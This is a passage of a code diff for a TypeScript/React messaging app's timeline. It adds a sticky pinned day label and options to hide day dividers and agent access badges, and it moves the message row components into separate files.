+  hideAgentAccessBadges?: boolean;
   /**
    * True when the loaded window provably starts at the channel's beginning.
    * Proves the oldest loaded day's boundary so its divider may render.
@@ -142,6 +145,7 @@ export const TimelineMessageList = React.memo(function TimelineMessageList({
   onMarkUnread,
   onMarkRead,
   onReply,
+  onOpenThread,
   isSendingVideoReviewComment = false,
   onSendVideoReviewComment,
   onToggleReaction,
@@ -154,6 +158,9 @@ export const TimelineMessageList = React.memo(function TimelineMessageList({
   unfollowThreadById,
   leadingContent,
   historyExhausted = false,
+  hideDayDividers = false,
+  alwaysShowMessageIdentity = false,
+  hideAgentAccessBadges = false,
   useVirtualizer = false,
   onStartReached,
   onAtBottomStateChange,
@@ -244,8 +251,15 @@ export const TimelineMessageList = React.memo(function TimelineMessageList({
               highlightedMessageId={highlightedMessageId}
               huddleMemberPubkeys={huddleMemberPubkeys}
               huddleMemberPubkeysPending={huddleMemberPubkeysPending}
-              isContinuation={item.isContinuation}
-              isFollowedByContinuation={item.isFollowedByContinuation}
+              hideAgentAccessBadges={hideAgentAccessBadges}
+              isContinuation={
+                alwaysShowMessageIdentity ? false : item.isContinuation
+              }
+              isFollowedByContinuation={
+                alwaysShowMessageIdentity
+                  ? false
+                  : item.isFollowedByContinuation
+              }
               isFollowingThreadById={isFollowingThreadById}
               isUnread={isMessageUnreadById?.(item.entry.message.id)}
               playEntrance={item.entry.message.id === entranceMessageId}
@@ -255,6 +269,7 @@ export const TimelineMessageList = React.memo(function TimelineMessageList({
               onMarkRead={onMarkRead}
               onMarkUnread={onMarkUnread}
               onReply={onReply}
+              onOpenThread={onOpenThread}
               onToggleReaction={onToggleReaction}
               profiles={profiles}
               searchActiveMessageId={searchActiveMessageId}
@@ -271,11 +286,13 @@ export const TimelineMessageList = React.memo(function TimelineMessageList({
     },
     [
       channelId,
+      alwaysShowMessageIdentity,
       currentPubkey,
       followThreadById,
       highlightedMessageId,
       huddleMemberPubkeys,
       huddleMemberPubkeysPending,
+      hideAgentAccessBadges,
       isFollowingThreadById,
       isMessageUnreadById,
       entranceMessageId,
@@ -286,6 +303,7 @@ export const TimelineMessageList = React.memo(function TimelineMessageList({
       onMarkRead,
       onMarkUnread,
       onReply,
+      onOpenThread,
       onToggleReaction,
       profiles,
       ownerProfiles,
@@ -303,6 +321,7 @@ export const TimelineMessageList = React.memo(function TimelineMessageList({
       <VirtualizedTimelineRows
         dayGroups={dayGroups}
         historyExhausted={historyExhausted}
+        hideDayDividers={hideDayDividers}
         leadingContent={leadingContent}
         onAtBottomStateChange={onAtBottomStateChange}
         onStartReached={onStartReached}
@@ -320,8 +339,9 @@ export const TimelineMessageList = React.memo(function TimelineMessageList({
         <section
           className={cn(
             "relative flex flex-col",
-            group.headingTimestamp !== null &&
-              "before:absolute before:inset-x-0 before:top-4 before:h-px before:bg-border/35 before:content-['']",
+            !hideDayDividers &&
+              group.headingTimestamp !== null &&
+              "before:absolute before:inset-x-0 before:top-1/2 before:h-px before:-translate-y-1/2 before:bg-border/35 before:content-['']",
           )}
           data-day-label={
             group.headingTimestamp === null
@@ -331,7 +351,7 @@ export const TimelineMessageList = React.memo(function TimelineMessageList({
           data-testid="message-timeline-day-group"
           key={group.key}
         >
-          {group.headingTimestamp === null ? null : (
+          {hideDayDividers || group.headingTimestamp === null ? null : (
             <DayDivider label={formatDayHeading(group.headingTimestamp)} />
           )}
           {group.items.map((item) => (
@@ -345,15 +365,19 @@ export const TimelineMessageList = React.memo(function TimelineMessageList({
   );
 });
 
-function timelineItemMessageId(item: TimelineNonDayItem): string | null {
+function timelineItemMessageIds(item: TimelineNonDayItem): string[] {
+  if (item.kind === "system-group") {
+    return item.entries.map((entry) => entry.message.id);
+  }
   return item.kind === "message" || item.kind === "system"
-    ? item.entry.message.id
-    : null;
+    ? [item.entry.message.id]
+    : [];
 }
 
 type VirtualizedTimelineRowsProps = {
   dayGroups: TimelineDayGroup[];
   historyExhausted: boolean;
+  hideDayDividers: boolean;
   leadingContent?: React.ReactNode;
   onAtBottomStateChange?: (atBottom: boolean) => void;
   onStartReached?: () => boolean;
@@ -393,6 +417,7 @@ function VirtualizedTimelineItemShell({
 function VirtualizedTimelineRows({
   dayGroups,
   historyExhausted,
+  hideDayDividers,
   leadingContent,
   onAtBottomStateChange,
   onStartReached,
@@ -411,6 +436,8 @@ function VirtualizedTimelineRows({
     typeof window === "undefined" ? 1_000 : window.innerHeight,
   );
   const hasInitialPositionedRef = React.useRef(false);
+  const pinnedDayLabelRef = React.useRef<HTMLDivElement>(null);
+  const pinnedDayTranslateYRef = React.useRef(0);
   const estimateCallCountRef = React.useRef(0);
   const estimateItemSize = React.useCallback(
     (item: VirtualizedTimelineItem) => {
@@ -426,10 +453,27 @@ function VirtualizedTimelineRows({
     [],
   );
   const items = React.useMemo(
-    () => buildVirtualizedItems(dayGroups, leadingContent, historyExhausted),
-    [dayGroups, historyExhausted, leadingContent],
+    () =>
+      buildVirtualizedItems(
+        dayGroups,
+        leadingContent,
+        historyExhausted,
+        !hideDayDividers,
+      ),
+    [dayGroups, hideDayDividers, historyExhausted, leadingContent],
   );
   const keys = React.useMemo(() => items.map(virtualizedItemKey), [items]);
+  const dayDividerItems = React.useMemo(
+    () =>
+      items.flatMap((item, index) =>
+        item.kind === "day-divider" ? [{ index, item }] : [],
+      ),
+    [items],
+  );
+  const [pinnedDay, setPinnedDay] = React.useState<{
+    label: string | null;
+    incomingLabel: string | null;
+  }>({ label: null, incomingLabel: null });
   itemsLengthRef.current = items.length;
   const previousKeysRef = React.useRef<readonly string[]>([]);
   const [prependShiftEpoch, clearPrependShift] = React.useReducer(
@@ -443,6 +487,128 @@ function VirtualizedTimelineRows({
     cancelBottomSettle,
   );
 
+  const updatePinnedDayLabel = React.useCallback(
+    (offset: number) => {
+      const list = listRef.current;
+      const scroller = hostRef.current?.firstElementChild;
+      const pinnedLabel = pinnedDayLabelRef.current;
+      if (!list || !(scroller instanceof HTMLDivElement) || !pinnedLabel) {
+        return;
+      }
+
+      const pinnedTop =
+        pinnedLabel.getBoundingClientRect().top -
+        scroller.getBoundingClientRect().top -
+        pinnedDayTranslateYRef.current;
+      const [pinnedPill, incomingPinnedPill] =
+        pinnedLabel.querySelectorAll<HTMLParagraphElement>("p");
+      const pinnedPillHeight = pinnedPill?.offsetHeight ?? 0;
+      if (pinnedPillHeight === 0) return;
+      const renderedDividerPillTop = (
+        divider: (typeof dayDividerItems)[number],
+      ) => {
+        const label = formatDayHeading(divider.item.headingTimestamp);
+        const source = [
+          ...scroller.querySelectorAll<HTMLElement>(
+            '[data-testid="message-timeline-day-divider"]',
+          ),
+        ].find((element) => element.dataset.dayLabel === label);
+        const pill = source?.querySelector<HTMLElement>("p");
+        return pill
+          ? pill.getBoundingClientRect().top -
+              scroller.getBoundingClientRect().top
+          : null;
+      };
+      const sourcePills = [
+        ...scroller.querySelectorAll<HTMLElement>(
+          '[data-testid="message-timeline-day-divider"] p',
+        ),
+      ];
+      // Source dividers are normally visible in the feed. Only hide the one
+      // that physically overlaps the floating chip at the handoff point.
+      for (const pill of sourcePills) {
+        pill.style.removeProperty("visibility");
+      }
+
+      let activeDividerIndex = -1;
+      for (const [index, divider] of dayDividerItems.entries()) {
+        if (list.getItemOffset(divider.index) > offset + pinnedTop) break;
+        activeDividerIndex = index;
+      }
+      const candidateDivider = dayDividerItems[activeDividerIndex];
+      // Retain the previous date while the next in-flow divider is still
+      // above the sticky slot. This avoids changing the label before the
+      // moving chip reaches its handoff point.
+      if (
+        activeDividerIndex > 0 &&
+        candidateDivider &&
+        (renderedDividerPillTop(candidateDivider) ?? -Infinity) > pinnedTop
+      ) {
+        activeDividerIndex -= 1;
+      }
+      const activeDivider = dayDividerItems[activeDividerIndex];
+      const nextDivider = dayDividerItems[activeDividerIndex + 1];
+      const nextDividerTop = nextDivider
+        ? (renderedDividerPillTop(nextDivider) ??
+          list.getItemOffset(nextDivider.index) - offset)
+        : null;
+      const nextTranslateY =
+        nextDividerTop === null
+          ? 0
+          : Math.max(
+              -pinnedPillHeight,
+              Math.min(0, nextDividerTop - pinnedTop - pinnedPillHeight),
+            );
+      if (pinnedDayTranslateYRef.current !== nextTranslateY) {
+        pinnedDayTranslateYRef.current = nextTranslateY;
+        pinnedLabel.style.transform = `translateY(${nextTranslateY}px)`;
+      }
+      const nextLabel = activeDivider
+        ? formatDayHeading(activeDivider.item.headingTimestamp)
+        : null;
+      const incomingLabel =
+        nextDivider && nextTranslateY < 0
+          ? formatDayHeading(nextDivider.item.headingTimestamp)
+          : null;
+      const activeSourcePill = sourcePills.find(
+        (pill) => pill.parentElement?.dataset.dayLabel === nextLabel,
+      );
+      if (activeSourcePill) {
+        const sourceTop =
+          activeSourcePill.getBoundingClientRect().top -
+          scroller.getBoundingClientRect().top;
+        const overlayTop = pinnedTop;
+        const sourceBottom = sourceTop + activeSourcePill.offsetHeight;
+        const overlayBottom = overlayTop + pinnedPillHeight;
+        if (sourceBottom > overlayTop && sourceTop < overlayBottom) {
+          activeSourcePill.style.visibility = "hidden";
+        }
+      }
+      const incomingSourcePill = sourcePills.find(
+        (pill) => pill.parentElement?.dataset.dayLabel === incomingLabel,
+      );
+      if (incomingSourcePill) {
+        incomingSourcePill.style.visibility = "hidden";
+      }
+      if (pinnedPill) {
+        pinnedPill.textContent = nextLabel ?? "";
+        pinnedPill.style.visibility = nextLabel ? "visible" : "hidden";
+      }
+      if (incomingPinnedPill) {
+        incomingPinnedPill.textContent = incomingLabel ?? "";
+        incomingPinnedPill.style.visibility = incomingLabel
+          ? "visible"
+          : "hidden";
+      }
+      setPinnedDay((current) =>
+        current.label === nextLabel && current.incomingLabel === incomingLabel
+          ? current
+          : { label: nextLabel, incomingLabel },
+      );
+    },
+    [dayDividerItems],
+  );
+
   React.useEffect(
     () => () => {
       cancelBottomSettle();
@@ -470,8 +636,9 @@ function VirtualizedTimelineRows({
     const byId = new Map<string, number>();
     items.forEach((item, index) => {
       if (item.kind !== "timeline-item") return;
-      const messageId = timelineItemMessageId(item.item);
-      if (messageId) byId.set(messageId, index);
+      for (const messageId of timelineItemMessageIds(item.item)) {
+        byId.set(messageId, index);
+      }
     });
     return byId;
   }, [items]);
@@ -491,6 +658,10 @@ function VirtualizedTimelineRows({
     return () => onVirtualizerScrollerChange?.(null);
   }, [onVirtualizerScrollerChange]);
 
+  React.useLayoutEffect(() => {
+    updatePinnedDayLabel(listRef.current?.scrollOffset ?? 0);
+  }, [updatePinnedDayLabel]);
+
   React.useLayoutEffect(() => {
     if (!onVirtualizerApiChange) return;
     const api: TimelineVirtualizerApi = {
@@ -546,6 +717,7 @@ function VirtualizedTimelineRows({
       // channel above its newest message. The settle hook's wheel, pointer,
       // touch, and key listeners are the authoritative user-interaction gate.
       onAtBottomStateChange?.(distanceFromBottom <= 32);
+      updatePinnedDayLabel(offset);
       if (offset <= 200) {
         // Layout scrolls near the top must not poison the reader's next input.
         armUpwardMomentum(onStartReached?.() ?? false);
@@ -556,11 +728,12 @@ function VirtualizedTimelineRows({
       onAtBottomStateChange,
       onStartReached,
       onVirtualizerRangeChanged,
+      updatePinnedDayLabel,
     ],
   );
 
   return (
-    <div className="h-full min-h-0 w-full" ref={hostRef}>
+    <div className="relative h-full min-h-0 w-full" ref={hostRef}>
       <PreserveVirtualizedItemVisibilityContext value={isPrepend}>
         <VList
           ref={listRef}
@@ -592,20 +765,12 @@ function VirtualizedTimelineRows({
               const dayLabel = formatDayHeading(item.headingTimestamp);
               return (
                 <div
-                  // The sticky pill needs travel room, but its containing block
-                  // is this item wrapper. The trailing spacer extends the content
-                  // box by 4rem while the matching negative margin keeps the
-                  // measured layout height at exactly the divider's height, so
-                  // row spacing and Virtua's size cache are unaffected. Both the
-                  // spacer and the pill are pointer-events-none, and the later
-                  // (absolutely positioned) row siblings paint above the spacer.
-                  className="relative -mb-16 flex flex-col before:absolute before:inset-x-0 before:top-4 before:h-px before:bg-border/35 before:content-['']"
+                  className="relative flex flex-col before:absolute before:inset-x-0 before:top-1/2 before:h-px before:-translate-y-1/2 before:bg-border/35 before:content-['']"
                   data-day-label={dayLabel}
                   data-testid="message-timeline-day-group"
                   key={virtualizedItemKey(item)}
                 >
-                  <DayDivider label={dayLabel} />
-                  <div aria-hidden className="pointer-events-none h-16" />
+                  <DayDivider label={dayLabel} sticky={false} />
                 </div>
               );
             }
@@ -621,230 +786,34 @@ function VirtualizedTimelineRows({
           }}
         </VList>
       </PreserveVirtualizedItemVisibilityContext>
-    </div>
-  );
-}
-
-function TimelineRowShell({
-  children,
-  item,
-  useContentVisibility = true,
-}: {
-  children: React.ReactNode;
-  item: TimelineNonDayItem;
-  useContentVisibility?: boolean;
-}) {
-  return (
-    <div
-      className={cn(useContentVisibility && "timeline-row-cv")}
-      data-timeline-item-key={getTimelineItemKey(item)}
-      style={useContentVisibility ? timelineRowReserveStyle(item) : undefined}
-    >
-      {children}
-    </div>
-  );
-}
-
-function SystemRow({
-  currentPubkey,
-  entries,
-  entry,
-  footer,
-  onToggleReaction,
-  profiles,
-  ownerProfiles,
-}: {
-  currentPubkey?: string;
-  entries?: MainTimelineEntry[];
-  entry?: MainTimelineEntry;
-  footer: React.ReactNode;
-  onToggleReaction?: TimelineMessageListProps["onToggleReaction"];
-  profiles?: UserProfileLookup;
-  ownerProfiles?: UserProfileLookup;
-}) {
-  const systemEntries = entries ?? (entry ? [entry] : []);
-  const firstEntry = systemEntries[0];
-  const groupedMessages = React.useMemo(
-    () => entries?.map((systemEntry) => systemEntry.message),
-    [entries],
-  );
-  if (!firstEntry) return null;
-
-  return (
-    <div className="flex flex-col gap-1 pb-2.5">
-      <SystemMessageRow
-        groupedMessages={groupedMessages}
-        message={firstEntry.message}
-        currentPubkey={currentPubkey}
-        onToggleReaction={onToggleReaction}
-        profiles={profiles}
-        ownerProfiles={ownerProfiles}
-      />
-      {footer}
-    </div>
-  );
-}
-
-type MessageRowItemProps = Pick<
-  TimelineMessageListProps,
-  | "channelId"
-  | "currentPubkey"
-  | "followThreadById"
-  | "highlightedMessageId"
-  | "huddleMemberPubkeys"
-  | "huddleMemberPubkeysPending"
-  | "isFollowingThreadById"
-  | "onDelete"
-  | "onEdit"
-  | "onMarkUnread"
-  | "onMarkRead"
-  | "onReply"
-  | "onToggleReaction"
-  | "profiles"
-  | "searchActiveMessageId"
-  | "searchMatchingMessageIds"
-  | "searchQuery"
-  | "threadUnreadCounts"
-  | "unfollowThreadById"
-> & {
-  entry: MainTimelineEntry;
-  footer: React.ReactNode;
-  isContinuation?: boolean;
-  isFollowedByContinuation?: boolean;
-  isUnread?: boolean;
-  playEntrance?: boolean;
-  onEntranceComplete?: (messageId: string) => void;
-  videoReviewContext: ReturnType<typeof buildVideoReviewContextForMessage>;
-};
-
-function MessageRowItem({
-  channelId,
-  currentPubkey,
-  entry,
-  followThreadById,
-  footer,
-  highlightedMessageId,
-  huddleMemberPubkeys,
-  huddleMemberPubkeysPending,
-  isContinuation = false,
-  isFollowedByContinuation = false,
-  isFollowingThreadById,
-  isUnread,
-  playEntrance = false,
-  onEntranceComplete,
-  onDelete,
-  onEdit,
-  onMarkUnread,
-  onMarkRead,
-  onReply,
-  onToggleReaction,
-  profiles,
-  searchActiveMessageId,
-  searchMatchingMessageIds,
-  searchQuery,
-  threadUnreadCounts,
-  unfollowThreadById,
-  videoReviewContext,
-}: MessageRowItemProps) {
-  const { message, summary } = entry;
-  const canManage = canManageMessageForCurrentUser(
-    message,
-    currentPubkey,
-    profiles,
-  );
-  const canDelete = canManage && onDelete ? onDelete : undefined;
-  const canEdit = canManage && onEdit ? onEdit : undefined;
-
-  if (summary && onReply) {
-    const isHighlighted = message.id === highlightedMessageId;
-    return (
       <div
+        aria-hidden
         className={cn(
-          "group/message relative mx-1 mb-1 flex flex-col gap-0 rounded-2xl px-0 py-1 transition-colors hover:bg-muted/50 focus-within:bg-muted/50",
-          isHighlighted &&
-            "-mx-4 px-4 before:absolute before:-inset-y-1.5 before:inset-x-0 before:animate-[route-target-highlight-fade_2s_ease-out_forwards] before:bg-primary/10 before:content-[''] motion-reduce:before:animate-none sm:-mx-6 sm:px-6",
+          "pointer-events-none absolute inset-x-0 z-20",
+          channelChrome.stickyTimelineTop,
+          pinnedDay.label || pinnedDay.incomingLabel
+            ? "opacity-100"
+            : "opacity-0",
         )}
+        data-day-label={pinnedDay.label ?? undefined}
+        data-testid="message-timeline-sticky-day-divider"
       >
-        <MessageRow
-          channelId={channelId}
-          highlighted={false}
-          hoverBackground={false}
-          huddleMemberPubkeys={huddleMemberPubkeys}
-          huddleMemberPubkeysPending={huddleMemberPubkeysPending}
-          isFollowingThread={
-            isFollowingThreadById
-              ? isFollowingThreadById(message.id)
-              : undefined
-          }
-          isUnread={isUnread}
-          isContinuation={isContinuation}
-          playEntrance={playEntrance}
-          onEntranceComplete={onEntranceComplete}
-          message={message}
-          onDelete={canDelete}
-          onEdit={canEdit}
-          onFollowThread={
-            followThreadById ? () => followThreadById(message.id) : undefined
-          }
-          onMarkRead={onMarkRead}
-          onMarkUnread={onMarkUnread}
-          onToggleReaction={onToggleReaction}
-          onReply={onReply}
-          onUnfollowThread={
-            unfollowThreadById
-              ? () => unfollowThreadById(message.id)
-              : undefined
-          }
-          profiles={profiles}
-          showDepthGuides={false}
-          videoReviewContext={videoReviewContext}
-        />
-        <MessageThreadSummaryRow
-          depth={message.depth}
-          message={message}
-          onOpenThread={onReply}
-          showDepthGuides={false}
-          summary={summary}
-          summaryIndentOffsetRem={-THREAD_REPLY_ROW_MARGIN_INLINE_REM}
-          unreadCount={threadUnreadCounts?.get(message.id)}
-        />
-        {footer}
+        <div className="invisible flex justify-center">
+          <DayDivider label={pinnedDay.label ?? ""} sticky={false} testId="" />
+        </div>
+        <div
+          className="absolute inset-x-0 top-0 flex flex-col"
+          data-testid="message-timeline-sticky-day-divider-content"
+          ref={pinnedDayLabelRef}
+        >
+          <DayDivider label={pinnedDay.label ?? ""} sticky={false} testId="" />
+          <DayDivider
+            label={pinnedDay.incomingLabel ?? ""}
+            sticky={false}
+            testId=""
+          />
+        </div>
       </div>
-    );
-  }
-
-  const isSearchMatch = searchMatchingMessageIds?.has(message.id) ?? false;
-  const isSearchActive = message.id === searchActiveMessageId;
-
-  return (
-    <div
-      className={cn(
-        "flex flex-col gap-1",
-        isFollowedByContinuation ? "pb-0" : "pb-2.5",
-      )}
-    >
-      <MessageRow
-        channelId={channelId}
-        highlighted={message.id === highlightedMessageId || isSearchActive}
-        huddleMemberPubkeys={huddleMemberPubkeys}
-        huddleMemberPubkeysPending={huddleMemberPubkeysPending}
-        isContinuation={isContinuation}
-        isUnread={isUnread}
-        playEntrance={playEntrance}
-        onEntranceComplete={onEntranceComplete}
-        message={message}
-        onDelete={canDelete}
-        onEdit={canEdit}
-        onMarkRead={onMarkRead}
-        onMarkUnread={onMarkUnread}
-        onToggleReaction={onToggleReaction}
-        onReply={onReply}
-        profiles={profiles}
-        searchQuery={isSearchMatch ? searchQuery : undefined}
-        showDepthGuides={false}
-        videoReviewContext={videoReviewContext}
-      />
-      {footer}
     </div>
   );
 }
diff --git a/desktop/src/features/messages/ui/TimelineMessageRow.tsx b/desktop/src/features/messages/ui/TimelineMessageRow.tsx
new file mode 100644
index 0000000000..283760fb02
--- /dev/null
+++ b/desktop/src/features/messages/ui/TimelineMessageRow.tsx
@@ -0,0 +1,228 @@
+import * as React from "react";
+
+import type { MainTimelineEntry } from "@/features/messages/lib/threadPanel";
+import { THREAD_REPLY_ROW_MARGIN_INLINE_REM } from "@/features/messages/lib/threadTreeLayout";
+import type { buildVideoReviewContextForMessage } from "@/features/messages/lib/videoReviewContext";
+import { canManageMessageForCurrentUser } from "@/features/messages/lib/canManageMessage";
+import type { TimelineMessage } from "@/features/messages/types";
+import type { UserProfileLookup } from "@/features/profile/lib/identity";
+import { cn } from "@/shared/lib/cn";
+import { MessageRow } from "./MessageRow";
+import { MessageThreadSummaryRow } from "./MessageThreadSummaryRow";
+import { SystemMessageRow } from "./SystemMessageRow";
+
+type ToggleReaction = (
+  message: TimelineMessage,
+  emoji: string,
+  remove: boolean,
+) => Promise<void>;
+
+type SystemRowProps = {
+  currentPubkey?: string;
+  entries?: MainTimelineEntry[];
+  entry?: MainTimelineEntry;
+  footer: React.ReactNode;
+  onToggleReaction?: ToggleReaction;
+  profiles?: UserProfileLookup;
+  ownerProfiles?: UserProfileLookup;
+};
+
+export function SystemRow({
+  currentPubkey,
+  entries,
+  entry,
+  footer,
+  onToggleReaction,
+  profiles,
+  ownerProfiles,
+}: SystemRowProps) {
+  const systemEntries = entries ?? (entry ? [entry] : []);
+  const firstEntry = systemEntries[0];
+  const groupedMessages = React.useMemo(
+    () => entries?.map((systemEntry) => systemEntry.message),
+    [entries],
+  );
+  if (!firstEntry) return null;
+
+  return (
+    <div className="flex flex-col gap-1 pb-2.5">
+      <SystemMessageRow
+        groupedMessages={groupedMessages}
+        message={firstEntry.message}
+        currentPubkey={currentPubkey}
+        onToggleReaction={onToggleReaction}
+        profiles={profiles}
+        ownerProfiles={ownerProfiles}
+      />
+      {footer}
+    </div>
+  );
+}
+
+type MessageRowItemProps = {
+  channelId?: string | null;
+  currentPubkey?: string;
+  entry: MainTimelineEntry;
+  followThreadById?: (rootId: string) => void;
+  footer: React.ReactNode;
+  highlightedMessageId?: string | null;
+  huddleMemberPubkeys?: readonly string[];
+  huddleMemberPubkeysPending?: boolean;
+  hideAgentAccessBadges?: boolean;
+  isContinuation?: boolean;
+  isFollowedByContinuation?: boolean;
+  isFollowingThreadById?: (rootId: string) => boolean;
+  isUnread?: boolean;
+  playEntrance?: boolean;
+  onEntranceComplete?: (messageId: string) => void;
+  onDelete?: (message: TimelineMessage) => void;
+  onEdit?: (message: TimelineMessage) => void;
+  onMarkUnread?: (message: TimelineMessage) => void;
+  onMarkRead?: (message: TimelineMessage) => void;
+  onReply?: (message: TimelineMessage) => void;
+  onOpenThread?: (message: TimelineMessage) => void;
+  onToggleReaction?: ToggleReaction;
+  profiles?: UserProfileLookup;
+  searchActiveMessageId?: string | null;
+  searchMatchingMessageIds?: Set<string>;
+  searchQuery?: string;
+  threadUnreadCounts?: ReadonlyMap<string, number>;
+  unfollowThreadById?: (rootId: string) => void;
+  videoReviewContext: ReturnType<typeof buildVideoReviewContextForMessage>;
+};
+
+export function MessageRowItem({
+  channelId,
+  currentPubkey,
+  entry,
+  followThreadById,
+  footer,
+  highlightedMessageId,
+  huddleMemberPubkeys,
+  huddleMemberPubkeysPending,
+  hideAgentAccessBadges,
+  isContinuation = false,
+  isFollowedByContinuation = false,
+  isFollowingThreadById,
+  isUnread,
+  playEntrance = false,
+  onEntranceComplete,
+  onDelete,
+  onEdit,
+  onMarkUnread,
+  onMarkRead,
+  onReply,
+  onOpenThread,
+  onToggleReaction,
+  profiles,
+  searchActiveMessageId,
+  searchMatchingMessageIds,
+  searchQuery,
+  threadUnreadCounts,
+  unfollowThreadById,
+  videoReviewContext,
+}: MessageRowItemProps) {
+  const { message, summary } = entry;
+  const canManage = canManageMessageForCurrentUser(
+    message,
+    currentPubkey,
+    profiles,
+  );
+  const canDelete = canManage && onDelete ? onDelete : undefined;
+  const canEdit = canManage && onEdit ? onEdit : undefined;
+
+  if (summary && onOpenThread) {
+    const isHighlighted = message.id === highlightedMessageId;
+    return (
+      <div
+        className={cn(
+          "group/message relative mx-1 mb-1 flex flex-col gap-0 rounded-2xl px-0 py-1 transition-colors hover:bg-muted/50 focus-within:bg-muted/50",
+          isHighlighted &&
+            "-mx-4 px-4 before:absolute before:-inset-y-1.5 before:inset-x-0 before:animate-[route-target-highlight-fade_2s_ease-out_forwards] before:bg-primary/10 before:content-[''] motion-reduce:before:animate-none sm:-mx-6 sm:px-6",
+        )}
+      >
+        <MessageRow
+          channelId={channelId}
+          highlighted={false}
+          hoverBackground={false}
+          huddleMemberPubkeys={huddleMemberPubkeys}
+          huddleMemberPubkeysPending={huddleMemberPubkeysPending}
+          hideAgentAccessBadge={hideAgentAccessBadges}
+          isFollowingThread={
+            isFollowingThreadById
+              ? isFollowingThreadById(message.id)
+              : undefined
+          }
+          isUnread={isUnread}
+          isContinuation={isContinuation}
+          playEntrance={playEntrance}
+          onEntranceComplete={onEntranceComplete}
+          message={message}
+          onDelete={canDelete}
+          onEdit={canEdit}
+          onFollowThread={
+            followThreadById ? () => followThreadById(message.id) : undefined
+          }
+          onMarkRead={onMarkRead}
+          onMarkUnread={onMarkUnread}
+          onToggleReaction={onToggleReaction}
+          onReply={onReply}
+          onUnfollowThread={
+            unfollowThreadById
+              ? () => unfollowThreadById(message.id)
+              : undefined
+          }
+          profiles={profiles}
+          showDepthGuides={false}
+          videoReviewContext={videoReviewContext}
+        />
+        <MessageThreadSummaryRow
+          depth={message.depth}
+          message={message}
+          onOpenThread={onOpenThread}
+          showDepthGuides={false}
+          summary={summary}
+          summaryIndentOffsetRem={-THREAD_REPLY_ROW_MARGIN_INLINE_REM}
+          unreadCount={threadUnreadCounts?.get(message.id)}
+        />
+        {footer}
+      </div>
+    );
+  }
+
+  const isSearchMatch = searchMatchingMessageIds?.has(message.id) ?? false;
+  const isSearchActive = message.id === searchActiveMessageId;
+
+  return (
+    <div
+      className={cn(
+        "flex flex-col gap-1",
+        isFollowedByContinuation ? "pb-0" : "pb-2.5",
+      )}
+    >
+      <MessageRow
+        channelId={channelId}
+        highlighted={message.id === highlightedMessageId || isSearchActive}
+        huddleMemberPubkeys={huddleMemberPubkeys}
+        huddleMemberPubkeysPending={huddleMemberPubkeysPending}
+        hideAgentAccessBadge={hideAgentAccessBadges}
+        isContinuation={isContinuation}
+        isUnread={isUnread}
+        playEntrance={playEntrance}
+        onEntranceComplete={onEntranceComplete}
+        message={message}
+        onDelete={canDelete}
+        onEdit={canEdit}
+        onMarkRead={onMarkRead}
+        onMarkUnread={onMarkUnread}
+        onToggleReaction={onToggleReaction}
+        onReply={onReply}
+        profiles={profiles}
+        searchQuery={isSearchMatch ? searchQuery : undefined}
+        showDepthGuides={false}
+        videoReviewContext={videoReviewContext}
+      />
+      {footer}
+    </div>
+  );
+}
diff --git a/desktop/src/features/messages/ui/TimelineRowShell.tsx b/desktop/src/features/messages/ui/TimelineRowShell.tsx
new file mode 100644
index 0000000000..f69f461c81
--- /dev/null
+++ b/desktop/src/features/messages/ui/TimelineRowShell.tsx
@@ -0,0 +1,27 @@
+import type * as React from "react";
+import { timelineRowReserveStyle } from "@/features/messages/lib/rowHeightEstimate";
+import {
+  getTimelineItemKey,
+  type TimelineNonDayItem,
+} from "@/features/messages/lib/timelineItems";
+import { cn } from "@/shared/lib/cn";
+
+export function TimelineRowShell({
+  children,
+  item,
+  useContentVisibility = true,
+}: {
+  children: React.ReactNode;
+  item: TimelineNonDayItem;
+  useContentVisibility?: boolean;
+}) {
+  return (
+    <div
+      className={cn(useContentVisibility && "timeline-row-cv")}
+      data-timeline-item-key={getTimelineItemKey(item)}
+      style={useContentVisibility ? timelineRowReserveStyle(item) : undefined}
+    >
+      {children}
+    </div>
+  );
+}
diff --git a/desktop/src/features/messages/ui/submitMessageEdit.ts b/desktop/src/features/messages/ui/submitMessageEdit.ts
new file mode 100644
index 0000000000..8edeea615e
--- /dev/null
+++ b/desktop/src/features/messages/ui/submitMessageEdit.ts
@@ -0,0 +1,135 @@
+import type { QueuedMediaAttachment } from "@/features/messages/lib/backgroundMediaUploadStore";
+import { enqueueBackgroundMediaUpload } from "@/features/messages/lib/backgroundMediaUploadStore";
+import type { DraftMentionRef } from "@/features/messages/lib/useDrafts";
+import {
+  buildOutgoingMessage,
+  type ImetaMedia,
+  mergeOutgoingTags,
+} from "@/features/messages/lib/imetaMediaMarkdown";
+import { diffAddedMentionPubkeys } from "@/features/messages/lib/threading";
+import { buildCustomEmojiTags } from "@/shared/lib/customEmojiTags";
+import type { CustomEmoji } from "@/shared/lib/remarkCustomEmoji";
+
+type EditDraft = {
+  content: string;
+  mentionRefs: DraftMentionRef[];
+  pendingImeta: ImetaMedia[];
+  queuedAttachments: QueuedMediaAttachment[];
+  spoileredAttachmentUrls: Set<string>;
+};
+
+type SubmitMessageEditOptions = Omit<EditDraft, "mentionRefs"> & {
+  clearComposer: () => void;
+  customEmoji: ReadonlyArray<CustomEmoji>;
+  extractMentionPubkeys: (content: string) => string[];
+  getMentionRefs: (content: string) => DraftMentionRef[];
+  editTargetId: string;
+  originalContent: string;
+  ownerPubkey: string | null;
+  restoreComposer: (draft: EditDraft) => void;
+  restoreMentionRefs: (refs: DraftMentionRef[]) => void;
+  shouldRestoreComposer: () => boolean;
+  setDeferredUploadPending: (isPending: boolean) => void;
+  save: (
+    content: string,
+    mediaTags?: string[][],
+    mentionPubkeys?: string[],
+    eventId?: string,
+  ) => Promise<void>;
+  setUploadError: (message: string) => void;
+};
+
+/** Clear an edited message immediately, then upload and save captured state. */
+export async function submitMessageEdit({
+  clearComposer,
+  content,
+  customEmoji,
+  editTargetId,
+  extractMentionPubkeys,
+  getMentionRefs,
+  originalContent,
+  ownerPubkey,
+  pendingImeta,
+  queuedAttachments,
+  restoreComposer,
+  restoreMentionRefs,
+  setDeferredUploadPending,
+  shouldRestoreComposer,
+  save,
+  setUploadError,
+  spoileredAttachmentUrls,
+}: SubmitMessageEditOptions): Promise<void> {
+  const draft: EditDraft = {
+    content,
+    mentionRefs: getMentionRefs(content),
+    pendingImeta: [...pendingImeta],
+    queuedAttachments: [...queuedAttachments],
+    spoileredAttachmentUrls: new Set(spoileredAttachmentUrls),
+  };
+  const restoreDraft = () => {
+    if (shouldRestoreComposer()) {
+      restoreComposer(draft);
+      restoreMentionRefs(draft.mentionRefs);
+    }
+  };
